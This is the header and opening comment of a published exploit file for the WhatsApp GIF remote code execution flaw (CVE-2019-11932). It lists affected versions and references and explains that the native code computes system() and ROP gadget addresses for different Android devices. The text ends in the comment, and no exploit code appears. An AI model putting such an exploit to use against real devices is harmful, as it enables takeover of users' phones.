# Exploit Title: Whatsapp 2.19.216 - Remote Code Execution
# Date: 2019-10-16
# Exploit Author: Valerio Brussani (@val_brux)
# Vendor Homepage: https://www.whatsapp.com/
# Version: < 2.19.244
# Tested on: Whatsapp 2.19.216
# CVE: CVE-2019-11932
# Reference1: https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/
# Full Android App: https://github.com/valbrux/CVE-2019-11932-SupportApp
# Credits: all credits for the bug discovery goes to Awakened (https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/)

/*
*
* Introduction
* This native code file aims to be complementary to the published Whatsapp GIF RCE exploit by Awakened , by calculating the system() function address and ROP gadget address for different types of devices, which then can be used to successfully exploit the vulnerability.
* The full Android application code is available at the following link https://github.com/valbrux/CVE-2019-11932-SupportApp
